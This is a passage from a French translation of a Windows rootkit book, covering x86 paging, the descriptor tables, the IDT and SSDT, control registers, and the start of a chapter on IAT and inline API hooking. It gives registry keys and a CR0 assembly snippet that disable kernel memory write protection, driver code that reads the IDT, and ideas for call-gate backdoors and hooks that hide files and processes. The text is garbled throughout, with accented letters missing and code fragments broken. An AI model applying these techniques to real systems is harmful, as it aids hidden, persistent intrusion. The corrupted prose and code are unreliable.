S Les 10 derniers bits (de poids fort) sont utiliss pour trouver lentre de rpertoire de
tables de pages voulue (voir Figure 3.4).
H Lentre de rpertoire lue donne lemplacement de la table de pages requise en
mmoire.
B Les 10 bits de la portion centrale de ladresse virtuelle sont utiliss pour trouver

lentre voulue dans la table de pages (voir Figure 3.4).


Lentre de la table de pages donne lemplacement physique de la page recherche,
parfois appel Page-Frame ou PFN (Page Frame Number).
Les 12 premiers bits (de poids faible) de ladresse virtuelle servent ensuite doffset
dans la page pour localiser ladresse contenant les donnes voulues. Loffset peut
atteindre 4 096 octets.
Comme vous avez pu le constater, la traduction dune adresse virtuelle en adresse
physique est complexe et ncessite chaque tape quun lment dinformation soit
recherch dans une table. Toutes ces donnes pourraient tre modifies ou utilises par
un rootkit.

Les entres du rpertoire de pages


Comme nous lavons dit prcdemment, le registre CR3 renvoie vers ladresse de base
du rpertoire de pages mmoire, et ce rpertoire est un tableau de 1 024 entres, ou
PDE (Page Directory Entry), dont la structure est illustre la Figure 3.6. Lors de la
lecture dune entre, le bit U (bit 2) est vrifi. Sil est 0, cela signifie que la table de
pages en question est rserve au noyau.
Le bit W (bit 1) est aussi contrl. Sil est 0, la mmoire est en lecture seule (par
opposition lecture/criture). Noubliez pas quune entre du rpertoire renvoie une
table entire, cest--dire rfrenant plusieurs pages. La valeur des diffrents bits
sapplique donc un ensemble de pages.
Notez que le programme qui consulte le rpertoire doit tre excut dans lanneau 0.

74 Rootkits

31 12

Infiltrations du noyau Windows

11 9

Adresse de base d'une


table de pages

P
S

P
C
D

P
W
T

Figure 3.6
Une entre du rpertoire de pages.

L'entre d'une table de pages


Lentre dune table de pages (voir Figure 3.7) ne concerne quune seule page
mmoire. Ici aussi, le bit U sera contrl et, sil est 0, la page nest accessible que
par un programme en noyau. Le bit W sert aussi vrifier si laccs doit tre en
lecture seule. Le bit P (bit 0) a galement son importance. Sil est 0, la page a t
transfre sur disque, et, sil est 1, elle est rsidente et disponible. Si la page est sur
disque, le gestionnaire de mmoire doit dabord la lire pour la replacer en mmoire
vive.

31 12
Adresse de base d'une
page

11 9

8 7

0 0
S

P
C
D

P
W
T

Figure 3.7
Une entre d'une table de pages1.

Accs en lecture seule aux tables systme1


Dans Windows XP et les versions au-del, les pages mmoire contenant la table de
distribution des services systme, ou SSDT, et celle des descripteurs dinterruptions,
ou IDT, sont marques en lecture seule dans la table de pages. Si un attaquant
souhaite modifier le contenu de ces pages, il doit dabord les placer en
lecture/criture. Pour un rootkit, la meilleure faon de raliser cela est dutiliser la
technique CRO, qui est dcrite plus loin dans ce chapitre. Toutefois, si vous souhaitiez
placer ces tables en criture, vous pouvez le faire en modifiant le Registre.
1. Le format dune entre de table de pages peut diffrer selon le systme dexploitation.

Chapitre 3

Le niveau matriel 75

Pour dsactiver la configuration prvue, changez les cls suivantes (la premire de ces
deux cls nexistant pas aprs une installation XP initiale, vous devrez lajouter vousmme) et redmarrez le systme1 :
HKLM\SYSTEM\CurrentControlSet\Controi\Session
>EnforceWriteProtection = 0
HKLM\SYSTEM\CurrentControlSet\Control\Session
DisablePagingExecutive = 1

Manager\Memory

Management\

Manager\Memory

Management\

Bien sr, mme si ces cls ne sont pas changes, elles ne constituent pas une protection
contre les rootkits puisquils peuvent directement modifier les tables ou utiliser la
technique CR pour activer ou dsactiver la vole les restrictions daccs.

Multiples processus et rpertoires de pages


Thoriquement, un systme dexploitation pourrait, avec un seul rpertoire de pages,
grer plusieurs processus, la protection de leur espace dadressage et le fichier de
mmoire pagine sur disque. Cependant, avec un seul rpertoire de pages, il ny aurait
aussi quune table de rfrence de tables de pages pour la traduction des adresses
virtuelles. Ceci signifierait que tous les processus auraient besoin de partager le mme
espace dadressage. Sous Windows NT/2000/XP/2003, nous savons que chaque
processus possde son propre espace.
Ladresse de dpart de la plupart des fichiers excutables est 0x00400000. Comment
plusieurs processus peuvent-ils employer la mme adresse virtuelle sans quil y ait de
collision en mmoire physique ? Justement grce lemploi de plusieurs rpertoires de
pages.
Chaque processus actif sur le systme emploie un rpertoire de pages distinct rfrenc
par une valeur unique dans le registre CR3. Ce qui signifie aussi que chacun dentre eux
bnficie dun mapping de mmoire virtuelle propre. Ainsi, deux processus peuvent
accder une mme adresse virtuelle 0x00400000 qui, une fois traduite, donnera deux
adresses physiques distinctes. Cest aussi la raison pour laquelle un processus ne peut
"voir" la mmoire dun autre processus.
Toutefois, mme si chaque processus possde sa table de pages unique, la mmoire audessus de 0x7FFFFFFF est gnralement mappe de manire identique pour tous les
processus. Il sagit de la plage rserve au noyau, et elle doit tre cohrente
indpendamment des processus excuts.

1. Mes remerciements Rob Beck pour cette information.

76 Rootkits

Infiltrations du noyau Windows

Il faut savoir que, mme excut dans lanneau 0, un processus possde un contexte
actif. Ce contexte inclut ltat de la machine pour le processus (tels les registres
sauvegards), son environnement, son jeton de scurit (security token), ainsi que
dautres paramtres. Pour notre explication, llment important de ce contexte est le
registre CR3, qui renvoie au rpertoire de pages. Un dveloppeur de rootkit peut tirer
parti du fait que les modifications apportes aux tables de pages dun processus
influent non seulement sur le processus en mode utilisateur mais aussi sur le noyau
chaque fois que le processus se trouve en contexte, afin dappliquer certaines
techniques de furtivit avances.

Processus et threads
Un dveloppeur de rootkit doit comprendre que le mcanisme qui permet de grer le
code excut est le thread et non le processus. Le noyau de Windows planifie les
processus en se fondant sur le nombre de threads et non sur celui des processus.
Imaginez par exemple deux processus, un monothread et un autre avec neuf threads, et
que le systme attribue chaque thread 10 % du temps processeur. Le processus
monothread recevra 10 % du temps et lautre processus en recevra 90 %. Cet exemple
nest pas rel, bien sr, puisque dautres facteurs, telle la priorit, sont aussi pris en
compte lors de la planification dexcution (scheduling). Toujours est-il que, en
supposant que tous les autres facteurs soient identiques, la planification se fonde
entirement sur le nombre de threads et non sur celui des processus.
Quest-ce quun processus ? Sous Windows, un processus est un moyen simple de
grouper des threads pour quils puissent partager les lments suivants :
B lespace dadresses virtuelles (cest--dire la valeur utilise pour CR3) ;
le jeton daccs, dont le SID1 ;
la table de handles pour les objets Win32 du noyau ;
H le contexte de travail (la mmoire physique que "possde" le processus).

1. Un thread peut avoir son propre jeton daccs qui, sil est prsent, se substitue celui du processus.

Chapitre 3

Le niveau matriel 77

Les rootkits doivent travailler avec des threads et leurs structures, pour diverses
raisons, dont la furtivit et linjection de code. Plutt que crer de nouveaux processus,
ils doivent crer de nouveaux threads et les assigner un processus existant. Il est rare
quun nouveau processus soit cr.
Lors dun changement de contexte vers un nouveau thread, ltat du thread prcdent
est mmoris. Chaque thread possde sa propre pile de noyau sur laquelle est plac son
tat. Si le nouveau thread appartient un autre processus, ladresse du rpertoire de
pages du nouveau processus est charge dans CR3. Elle peut tre obtenue dans la
structure KPROCESS du processus. Lorsque la pile de noyau du nouveau thread est
identifie, le nouveau contexte est lu de la pile et le thread peut commencer son
excution. Si un rootkit modifie les tables de pages du processus, les altrations
sappliqueront tous les threads du processus car ceux-ci partagent tous la mme
valeur CR3.
Nous examinerons plus en dtail le sujet des threads et des processus au Chapitre 7.

Les tables de descripteurs de mmoire


Certaines des tables que le processeur utilise peuvent contenir des descripteurs. Il y a
plusieurs types de descripteurs et ils peuvent tre insrs ou modifis par un rootkit.

La table globale de descripteurs (GDT)


Un certain nombre dastuces peuvent tre implmentes par lintermdiaire de la GDT.
Celle-ci peut tre utilise pour mapper, ou mettre en correspondance, diffrentes
plages dadresses. Elle peut aussi servir provoquer des commutations de tches.
Ladresse de base de la GDT peut tre obtenue laide de linstruction SGDT, ou vous
pouvez changer son emplacement avec linstruction LGDT.

Les tables locales de descripteurs (LDT)


Une LDT permet une tche davoir un jeu de descripteurs uniques. Un bit appel le
bit indicateur de table peut servir choisir entre la GDT ou la LDT lorsquun segment
est spcifi. La LDT peut contenir les mmes types de descripteurs que la GDT.

78

Root kits

Infiltrations du noyau Windows

Les segments de code


Lors de laccs au segment du code, le processeur utilise la valeur spcifie dans le
registre CS (Code Segment). Un segment de code peut tre indiqu dans la table des
descripteurs. Tout programme, rootkit inclus, peut modifier le registre CS en
provoquant un dbranchement de type FAR : appel, saut ou retour, o la valeur de retour
de CS sera prleve du sommet de la pile1. Il est intressant de noter que vous pouvez
provoquer lexcution de votre code simplement en mettant le bit R 0 dans le
descripteur.

Les portes d'appel (call gates)


Un type spcial de descripteur appel porte dappel (call gte) peut tre plac dans la
LDT ou la GDT. Un programme peut excuter un appel FAR avec le descripteur dfini
pour une porte dappel. Lorsque lappel se produit, un nouveau niveau danneau peut
tre spcifi. Cette technique pourrait tre utilise pour permettre un programme en
mode utilisateur deffectuer un appel de fonction dans le mode noyau. Ce pourrait tre
une porte drobe intressante pour un rootkit. Le mme mcanisme pourrait tre
utilis avec un saut FAR, mais seulement lorsque la porte dappel se trouve dans le
mme niveau de privilges ou un niveau infrieur que celui du processus excutant
le saut1 2.
Lorsquune porte dappel est utilise, ladresse est ignore, seule la valeur indique
dans le descripteur importe. La structure de donnes de la porte dappel indique au
processeur o le code de la fonction appele rside. Les arguments peuvent
ventuellement tre lus de la pile. Par exemple, une porte dappel peut tre cre de
manire que lappelant place les arguments de commandes secrets sur la pile.

La table de descripteurs d'interruptions


Le registre de table de descripteurs dinterruptions, ou IDTR (.Interrupt Descriptor
Table Register), contient ladresse de base de lIDT, la table des descripteurs
dinterruptions. Cette table, qui sert identifier les fonctions de traitement des
interruptions, est trs importante 3. Les interruptions servent une varit de fonctions
de
1. Linstruction IRET peut aussi tre utilise.
2. Lexception serait un saut far vers un segment de code "conforme".
3. Pour que la gestion dinterruption se produise avec un processeur, le bit IF dans le registre EFLAGS du
processeur doit tre 1.

Chapitre 3

Le niveau matriel 79

bas niveau dans un ordinateur. Par exemple, lorsquune touche du clavier est presse,
une interruption est dclenche.
LIDT est implmente en tant que tableau (array) de 256 entres, une pour chaque
interruption. Ceci signifie quil peut y avoir jusqu 256 interruptions pour un
processeur. Sur une machine multiprocesseur, chaque processeur possde son propre
registre IDTR et donc sa propre IDT. Un rootkit dploy sur un tel ordinateur devra en
tenir compte.
Lorsquune interruption se produit, le numro de linterruption est obtenu partir de
linstruction dinterruption ou du contrleur dinterruption (ou PIC, Programmable
Interrupt Controller). Dans les deux cas, lIDT est utilise pour identifier la fonction
appeler. Cette fonction est aussi appele un vecteur ou une routine de service
dinterruption (ou ISR, Interrupt Service Routine).
Lorsque le processeur opre dans le mode protg, lIDT est un tableau de 256 entres
de 8 octets chacune. Chaque entre contient ladresse de lISR et dautres informations
de scurit.
Pour obtenir ladresse de base de lIDT en mmoire, il faut lire le registre IDTR avec
linstruction SI DT (Store Interrupt Descriptor Table). Vous pouvez aussi changer le
contenu du registre avec linstruction LIDT (Load Interrupt Descriptor Table).
Davantage de dtails concernant cette technique sont donns au Chapitre 8.
Une astuce employe par les rootkits est de crer une nouvelle table dinterruptions qui
peut tre utilise pour masquer les modifications apportes la table dinterruptions
originale. Ainsi, un scanner de virus pourra toujours vrifier lintgrit de lIDT
originale, mais le rootkit en fera une copie quil pourra modifier sans tre dtect et
changera la valeur de P IDTR.
Linstruction SIDT stocke le contenu de lIDTR dans le format suivant :
/* sidt retourne idt dans ce format */
typedef struct {
unsigned short IDTLimit;
unsigned short LowIDTbase;
unsigned short HilDTbase;
} IDTINFO;

80 Rootkits

En utilisant les donnes fournies par linstruction


base de lIDT et en copier le contenu.

Infiltrations du noyau Windows

SIDT,

un attaquant peut trouver la

Souvenez-vous que lIDT peut avoir jusqu 256 entres et que chaque entre contient,
entre autres donnes, un pointeur vers une routine de service dinterruption. Les
entres ont la structure suivante :
// Entre dans l'IDT : parfois appele //
"porte d'interruption" (interrupt gte).
#pragma pack(1) typedef struct {
unsigned short LowOffset;
unsigned short selector;
unsigned char unused_lo;
unsigned char segment_type:4; //0x0E est une porte d'interruption unsigned
char system_segment_flag: 1 ;
unsigned char DPL:2; // Niveau de privilges du descripteur (DPL) unsigned
char P : 1 ;
// prsent,
unsigned short HiOffset;
} IDTENTRY;
#pragma pack()

Cette structure de donnes est utilise pour localiser en mmoire la fonction


responsable du traitement de linterruption. Elle est parfois appele une porte
dinterruption (interrupt gte). Par son intermdiaire, un programme en mode
utilisateur peut appeler une routine en mode noyau. Par exemple, linterruption pour un
appel systme est cible loffset 0x2E dans lIDT.
Un appel systme est trait dans le mode noyau, mme sil peut tre initi partir du
mode utilisateur. Des portes dinterruption supplmentaires peuvent tre insres en
tant que porte drobe par un rootkit. Un rootkit peut galement faire un hook des
portes dinterruptions existantes.
Pour accder lIDT, prenez exemple sur le code suivant :
#define MAKELONGfa, b)
((unsigned long) (((unsigned short) (a)) | ((unsigned long) ((unsigned short)
(b))) 1 6 ) )

Nous avons dit plus haut que le nombre maximal dentres dune IDT est 256.

#define MAX IDT ENTRIES 0xFF

Le niveau matriel 81

Chapitre 3

Dans notre exemple de rootkit, nous implmentons lanalyseur lintrieur de la


routine DriverEntry :
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,
IN PUNICODE_STRING theRegistryPath )

{
IDTINFO idt_info; // Cette structure est obtenue en //
appelant STORE IDT (sidt)
IDTENTRY* idt_entries; // et ensuite ce pointeur est
// obtenu de idt_info.
unsigned long count;
// Charge idt_info
asm sidt, idt_info

Nous utilisons les donnes retournes par linstruction SIDT pour obtenir la base de
lIDT. Nous lisons ensuite chaque entre dans une boucle puis envoyons certaines
donnes en sortie de debug :
idt_entries = (IDTENTRY*)
MAKELONG(idt_inf o.LowIDTbase,idt_info.HilDTbase);
for(count = 0;count <= MAX_IDT_ENTRIES;count++)

{
char _t[255];
IDTENTRY *i = &idt_entries[count]; unsigned
long addr = 0;
addr = MAKELONG(i->LowOffset, i->HiOffset);
_snprintf(_t,
253,
"Interrupt %d: ISR 0x%08X", count, addr);
DbgPrint(_t);

}
return STATUS_SUCCESS;

}
Cet exemple de code illustre lanalyse de lIDT. Aucune modification nest apporte
la table. Toutefois, ce code pourrait facilement devenir la base de quelque chose de
plus complexe.
Davantage de dtails du travail avec les interruptions seront apports dans les
Chapitres 5 et 8.

D'autres types de portes (gates)


Au-del des portes dinterruptions, lIDT peut aussi contenir des portes de tches (task
gates) et des portes de droutement (trap gates). Une porte de droutement diffre
dune porte dinterruption par le seul fait quelle peut utiliser des interruptions

82 Rootkits

Infiltrations du noyau Windows

masquables alors quune porte dinterruption ne le peut pas. En revanche, une porte de
tche est une fonction relativement prime du processeur. Elle peut tre utilise pour
forcer un changement de tche x86. Puisquelle nest pas employe par Windows,
nous ne donnerons pas dexemple de son emploi.
Il ne faut pas confondre une tche avec un processus sous Windows. Une tche pour
un processeur x86 est gre par un segment de changement de tche, ou TSS (Task
Switch Segment), une fonctionnalit qui tait utilise lorigine pour grer les tches
au moyen du matriel. Linux, Windows et un grand nombre dautres systmes
dexploitation implmentent le changement de tche au niveau logiciel et nutilisent
pas le mcanisme matriel sous-jacent.

La table de distribution des services systme (SSDT)


La SSDT est utilise pour rechercher la fonction de traitement dun appel systme. Ce
mcanisme est implment dans le systme dexploitation et non dans le processeur.
Un programme peut effectuer un appel systme de deux faons : laide de
linterruption 0x2E ou de linstruction SYSENTER.
Sous Windows XP et au-del, les programmes emploient gnralement linstruction
alors que les plates-formes plus anciennes recouraient linterruption. Les deux
mthodes diffrent totalement bien quelles produisent le mme rsultat.
Un appel systme provoque lappel de la fonction KiSystemService dans le noyau.
Cette fonction rcupre le numro de service systme dans le registre EAX et localise le
service dans la SSDT. KiSystemService copie aussi les arguments de lappel depuis la
pile du mode utilisateur vers la pile du mode noyau. Le registre EDX pointe vers les
arguments. Certains rootkits viennent se greffer dans cette chane de traitement pour
intercepter des donnes, modifier les arguments ou dtourner lappel systme. Cette
technique est couverte en dtail au Chapitre 4.

Les registres de contrle


Outre lemploi des tables systme, quelques registres spciaux contrlent certaines
fonctionnalits importantes du processeur. Ces registres peuvent tre utiliss par des
rootkits.

Le niveau matriel 83

Chapitre 3

Le registre de contrle 0 (CR0)


Un registre de contrle contient des bits qui influent sur le comportement du
processeur. Une mthode connue permettant de dsactiver la protection de la mmoire
dans le noyau consiste modifier un registre de contrle appel CR0.
Ce registre a t introduit lpoque de lhumble processeur 286 et sappelait
auparavant le "mot de statut machine" (machine status word). Il a t renomm
Control Register Zro ou, plus simplement, CR0, lors de lintroduction du 386. Ce
nest quavec la commercialisation du 486 que le bit WP de protection contre lcriture
a t ajout au registre CR0. Ce bit contrle si le processeur autorise ou non les accs
en criture aux pages marques en lecture seule. Une fois mis 0, ce bit dsactive la
protection mmoire. Cest une technique importante pour les rootkits de noyau qui
visent la modification de structures de donnes du systme dexploitation.
Le code suivant illustre comment dsactiver et ractiver la protection mmoire en
utilisant la technique CRO :
// Dprotge la protection mmoire
_ asm

push
mov
and
mov
pop

eax
eax, CR0
eax, 0FFFEFFFFh
CR0, eax
eax

// Excute quelque chose


// Reprotge la mmoire
_ asm

{
push
mov
or
mov
pop

eax
eax, CR0
eax, NOT 0FFFEFFFFh
CR0, eax
eax

D'autres registres de contrle


Il existe quatre registres de contrle supplmentaires qui traitent dautres fonctions
pour le processeur. CRI reste inutilis ou non document. CR2 sert lorsque le
processeur opre en mode protg. Il conserve la dernire adresse ayant provoqu
une faute de page. CR3 contient ladresse du rpertoire de pages. CR4 a t introduit avec le Pentium (et les dernires versions du 486). Il se charge doprations
spciales, comme lors de lactivation du mode 8086 virtuel, cest--dire lorsquun

84 Rootkits

Infiltrations du noyau Windows

ancien programme pour DOS est excut sous Windows NT. Lorsque ce mode est
activ, le processeur droute les instructions privilgies comme CLI, STI et INT. Dans
la plupart des cas, ces registres ne sont pas utiles aux rootkits.

Le registre EFLAGS
Le registre EFLAGS est galement important. Dune part, il gre lindicateur (ou fanion)
de droutement (tmp flcig). Lorsque cet indicateur est 1, le processeur opre en mode
pas pas. Un rootkit peut tirer parti de cette information pour savoir si un debugger est
actif ou pour chapper un scanner de virus. Il est possible de dsactiver les
interruptions en mettant lindicateur dinterruption 0 (interrupt flag). De plus, le bit
de niveau de privilges des E/S (IOPLflag) peut tre utilis pour modifier le systme de
protection par anneaux utilis par la plupart des systmes dexploitation sur la plateforme Intel.

Systmes multiprocesseurs
Avec les systmes multiprocesseurs parfois appels systmes multitraitement
symtrique ou SMP (Symmetric Multiprocessing System) et les systmes avec
hyperthreading, les dveloppeurs de rootkits sont confronts certains problmes, le
principal tant celui de la synchronisation. Si vous avez dj dvelopp des
applications multithreads, vous avez probablement dj t amen comprendre le
concept de scurit de thread et ce qui peut se produire si deux threads accdent
simultanment un mme objet de donnes. Sinon il suffit de savoir que, si deux
oprations distinctes accdent un mme objet, celui-ci sera corrompu.
Les systmes multiprocesseurs sapparentent en quelque sorte des environnements
multithreads car le code peut tre excut en mme temps sur plusieurs processeurs. Le
Chapitre 7 traite de la synchronisation multiprocesseur.
La Figure 3.8 illustre larchitecture dun systme multiprocesseur. Vous pouvez voir
que plusieurs processeurs se partagent une zone mmoire, un jeu de contrleurs et un
groupe de priphriques.
Il faut se souvenir de certains points propos des systmes multiprocesseurs :
H Chaque processeur possde sa propre table dinterruptions. En cas de hook de table
dinterruption, il faut prvoir la technique pour tous les processeurs. Il ne
sappliquerait sinon qu un processeur. Ce peut tre intentionnel si le rootkit na
pas besoin dun contrle 100 % des interruptions, mais cest rare.

Le niveau matriel 85

Chapitre 3

Mmoire
Priphrique
1
Priphrique^

Contrleur Northbridge |
1

physique

Contrleur Southbridge 1
____________________ P

Figure 3.8

Une architecture de bus multiprocesseur.

S Un driver qui fonctionne correctement sur un seul processeur peut planter


(provoquer lcran bleu) sur un systme multiprocesseur. Il faut inclure les
systmes multiprocesseurs dans un plan de test.
ffl La mme fonction de driver peut tre excute simultanment dans plusieurs
contextes sur plusieurs processeurs. La seule faon dobtenir un fonctionnement
scuris est de recourir au verrouillage et la synchronisation avec les ressources
partages.
m Les systmes multiprocesseurs comprennent des routines interlock, spinlock et
mutex. Ce sont des outils fournis par le systme qui aident synchroniser les accs
aux donnes. La documentation du DDK donne des dtails sur leur utilisation.
Il ne faut pas implmenter des mcanismes de verrouillage personnaliss. Utilisez
les outils dj fournis par le systme. Si vous devez absolument le faire, vous
devez vous familiariser avec les barrires mmoire (KeMemoryBarrier, etc.) et le
rordonnancement des instructions. Ces sujets sortent du cadre de ce livre.
S

Le rootkit doit dtecter le processeur qui excute son code. Pour cela, il peut utiliser
un appel de KeGetCurrentProcessorNumber. La fonction KeGetActive- Processors
permet de dterminer le nombre de processeurs actifs dans le systme.

Il est possible de planifier lexcution du code sur un processeur spcifique.


Consultez la documentation du DDK propos de KeSetTargetProcessorDPC.

86 Rootkits

Infiltrations du noyau Windows

Conclusion
Ce chapitre a introduit les mcanismes de niveau matriel qui fonctionnent en coulisse
pour assurer la scurit et la protection de la mmoire au niveau du systme
dexploitation. Nous avons vu lemploi de la table dinterruptions. Cette connaissance
forme la base sur laquelle vous pourrez dvelopper une comprhension plus profonde
de la manipulation des ordinateurs. Etant donn que le matriel sous-tend
limplmentation des logiciels, tous les programmes sont susceptibles dtre
manipuls au niveau matriel. Une comprhension dans le dtail de ces concepts est
un point de dpart dcisif pour acqurir de relles comptences en matire de rootkits
et de dtournement logiciel.

4
Lart du hooking
Comment locan devient-il le roi de tous les fleuves ? En se plaant plus bas qu
'eux ! Ainsi, il rgne sur eux.
- Lao Tseu

La plupart des rootkits servent deux objectifs : assurer un accs continu au systme
cible et garantir la furtivit des oprations. Pour les atteindre, un rootkit doit modifier
le chemin dexcution du systme dexploitation ou sen prendre directement aux
donnes reprsentant des informations sur les processus, les drivers, les connexions
rseau, etc. Le Chapitre 7 couvre la seconde approche. Ce chapitre-ci dcrit comment
changer le chemin dexcution de fonctions importantes fournies par le systme
dexploitation. Nous aborderons pour commencer de simples hooks en mode
utilisateur dans un processus cible puis passerons des hooks plus globaux de niveau
noyau et terminerons par la prsentation dune mthode hybride. Ne perdez pas de vue
que le but est dintercepter le flux normal dexcution et de modifier les informations
retournes par les API de reporting du systme dexploitation.

Hooks de niveau utilisateur


Windows comprend trois sous-systmes (Win32, POSIX et OS/2) dont dpendent la
plupart des processus. Ces sous-systmes saccompagnent dun ensemble dAPI bien
document. Par lintermdiaire de ces API, un processus peut solliciter laide

88 Rootkits

Infiltrations du noyau Windows

du systme dexploitation. Etant donn que des programmes comme le Gestionnaires


des tches, lExplorateur Windows et lEditeur du registre sappuient sur ces API, ce
sont des cibles parfaites pour un rootkit.
Par exemple, imaginez quune application liste tous les fichiers dun rpertoire et
accomplisse dessus une opration quelconque. Cette application peut sexcuter dans
lespace utilisateur sous la forme dun programme utilisateur ou dun service.
Supposez galement quil sagisse dune application Win32, ce qui signifie quelle
utilisera Kernel32.dll, User32.dll, Gui32.dll et Advapi.dll pour appeler des
fonctions du noyau.
Sous Win32, pour lister tous les fichiers dun rpertoire, une application invoque en
premier la fonction FindFirstFile, qui est exporte par la DLL Kernel32.dll et
retourne un handle si tout se passe bien.
Ce handle est utilis lors des appels successifs dune autre fonction provenant de la
mme DLL, FindNextFile, pour parcourir tous les fichiers et sous-rpertoires contenus
dans le rpertoire. Pour pouvoir utiliser ces deux fonctions, lapplication charge
Kernel32. dll au moment de lexcution et copie leur adresse mmoire dans sa table
dimportation, appele IAT {Import Address Table). Lorsque lapplication invoque
FindNextFile, le flux dexcution dans le processus se dbranche vers un emplacement
de sa table IAT puis se poursuit ladresse de FindNextFile dans Kernel32. dll. Il en
va de mme pour FindFirstFile.
effectue ensuite un appel dans Ntdll.dll. Cette DLL charge dans le
registre EAX le numro du service systme correspondant une fonction du noyau
quivalente FindNextFile, savoir NtQueryDirectoryFile. Elle charge aussi dans le
registre EDX ladresse des paramtres de FindNextFile dans lespace utilisateur. Puis
elle met une instruction INT 2E ou SYSENTER pour provoquer un droutement (trap)
vers le noyau (ces droutements sont couverts plus loin dans ce chapitre). Cette
squence dappels est illustre la Ligure 4.1.
FindNextFile

Etant donn que lapplication charge Kernel32.dll dans son espace dadressage priv
entre les adresses 0x00010000 et 0X7FFE0000, un rootkit peut directement remplacer
nimporte quelle fonction dans Kernel32.dll ou dans la table IAT de lapplication ds
lors quil a accs lespace dadressage du processus cible. Cette technique porte le
nom de hooking dAPI. Dans notre exemple, le rootkit pourrait remplacer FindNextFile
par un code machine personnalis afin dempcher le listage de certains fichiers ou de
modifier les performances de FindNextFile.

Chapitre 4

L'art du hooking 89

Figure 4.1

Chemin d'excution de FindNextFile.

Il pourrait aussi remplacer une entre de la table IAT dans lapplication cible pour la
faire pointer vers la fonction du rootkit plutt que celle de Kernel32. dll. Grce au
hooking dAPI, vous pouvez, entre autres choses, dissimuler un processus, masquer un
port rseau, rediriger des oprations dcriture vers un autre fichier ou encore
empcher une application douvrir un handle sur un processus particulier. En fait, ce
que cette technique vous permet de faire dpend en grande partie de votre imagination.
Maintenant que vous comprenez la thorie de base du hooking dAPI et ce que vous
pouvez en faire, les trois prochaines sections examinent en dtail limplmentation
dun hook dAPI dans un processus utilisateur. La premire section explique comment
fonctionne un hook dIAT et la deuxime dcrit ce quest un hook de fonction en ligne
et comment il opre. La troisime aborde linjection dune DLL dans un processus
utilisateur.

90 Rootkits

Infiltrations du noyau Windows

Hooking de la table IAT


Le plus simple des deux processus de hooking en mode utilisateur est le hooking de la
table IAT. Lorsquune application utilise une fonction dans un autre fichier, elle doit
importer ladresse de cette fonction. La plupart des applications qui emploient lAPI
Win32 le font au moyen dune table dimportation, comme voqu prcdemment.
Chaque DLL utilise par lapplication est contenue dans limage de lapplication sur le
systme de fichiers, dans une structure appele IMAGE_IMPORT_DESCRIPTOR. Cette
structure contient le nom de la DLL dont les fonctions sont importes par lapplication
et deux pointeurs vers deux tableaux de structures IMAGE_IMPORT_BY_NAME. Chaque structure
IMAGE_IMPORT_ BY_NAME contient le nom dune des fonctions importes.
Lorsque le systme dexploitation charge lapplication en mmoire, il analyse les
structures IMAGE_IMPORT_DESCRIPTOR et charge toutes les DLL requises dans lespace
mmoire de lapplication. Aprs que les DLL ont t mappes en mmoire, il localise
chaque fonction importe et remplace un des tableaux de structures
IMAGE_IMPORT_BY_NAME par les adresses de ces fonctions (pour en savoir plus sur les
structures du format PE de Windows, voyez larticle de Matt Pietrek 1).
Une fois que la fonction de hooking du rootkit se trouve dans lespace dadressage de
lapplication cible, le rootkit peut analyser le format PE de lapplication en mmoire et
remplacer ladresse de la fonction cible dans la table IAT par ladresse de la fonction
de hooking. Ensuite, lorsque la fonction dorigine est invoque, le hook est excut la
place. La Figure 4.2 illustre le flux de contrle avec une table dimportation hooke.
Nous verrons plus loin dans ce chapitre comment placer un rootkit dans lespace
dadressage dune application. Le code permettant de hooker lIAT dun excutable
donn est prsent la section "Approche de hooking hybride" vers la fin du chapitre.

1. M. Pietrek, "Peering Inside the PE: A Tour of the Win32 Portable Excutable File Format", Microsoft
Systems Journal, mars 1994.

Chapitre 4

L'art du hooking 91

Figure 4.2

Chemin d'excution normal vs chemin d'excution modifi par un hook d'IAT.

Comme vous pouvez le voir la Figure 4.2, cette technique, tout en tant trs
puissante, est galement assez simple. Linconvnient est que ce type de hook est
relativement facile dcouvrir. Mais il est aussi frquemment utilis, mme par le
systme dexploitation dans le cadre dun processus appel DLL forwarding.
Quelquun qui tenterait de dtecter un hook de rootkit pourrait donc avoir du mal
distinguer un hook lgitime inoffensif dun hook malveillant.
Un autre problme avec cette technique concerne le moment auquel se produit la
liaison (binding). Certaines applications effectuent une liaison diffre (laie binding),
ce qui veut dire que les adresses des fonctions ne sont rsolues que lorsque ces
dernires sont invoques, rduisant la quantit de mmoire utilise par lapplication.
Ces adresses peuvent donc tre absentes de FIAT quand le rootkit tente de sy greffer.
De plus, si lapplication emploie LoadLibrary et GetProcAddress pour trouver les
adresses des fonctions, le hook de FIAT ne fonctionnera pas.

Hooking de fonctions en ligne


Le second processus de hooking en mode utilisateur que nous allons aborder est le
hooking de fonctions en ligne. Les hooks de fonctions en ligne sont beaucoup plus
puissants que les hooks dIAT car, contrairement ces derniers, ils ne sont pas
affects par le moment de la liaison de la DLL. Lors de limplmentation dun hook de
fonction en ligne, le rootkit remplace des octets de code de la fonction cible de sorte
que, quel que soit le moment ou la manire dont lapplication rsout son adresse, la
fonction sera invitablement hooke. Cette technique peut tre employe dans le
noyau ou bien dans un processus utilisateur, le second cas tant le plus courant.

92 Rootkits

Infiltrations du noyau Windows

Gnralement, un hook de fonction en ligne est implment en sauvegardant une copie


des cinq premiers octets de la fonction cible que le hook remplacera. Une fois ces
octets mis de ct, un saut immdiat est introduit la place, conduisant au hook du
rootkit. Le hook invoque ensuite la fonction dorigine en utilisant les octets copis.
Avec cette mthode, la fonction dorigine rend le contrle de lexcution au hook, qui
peut alors modifier les donnes quelle retourne.
Les cinq premiers octets dune fonction reprsentent lemplacement o il est le plus
facile de placer ce type de hook. Il y a deux raisons cela. La premire est lie la
structure de la plupart des fonctions en mmoire. La majorit des fonctions dans lAPI
Win32 dbute de la mme manire, cest--dire par ce que lon nomme un prambule.
Le bloc de code suivant illustre des prambules typiques en langage assembleur :

Pre-XP SP2

Code

Bytes
55
8bec

Assembly
push ebp
mov ebp, esp

Post-XP SP2

Code

Bytes
8bff
55

Assembly
mov edi, edi
push ebp

8bec

mov ebp, esp

Il est important de dterminer la version du prambule que le rootkit est cens


remplacer. Un saut inconditionnel vers le hook du rootkit sur larchitecture x86
requiert typiquement cinq octets. Le premier correspond lopcode, ou code
dopration, JMP et les quatre autres, ladresse du hook. Une illustration de ce point
est donne au Chapitre 5.
Sur un systme antrieur XP SP2, ce seront trois octets du prambule ainsi que deux
octets dune autre instruction qui seront remplacs. Pour tenir compte de cela, la
fonction de patching doit tre capable de dsassembler le dbut de la fonction et de
dterminer la longueur des instructions afin de prserver les opcodes de la fonction
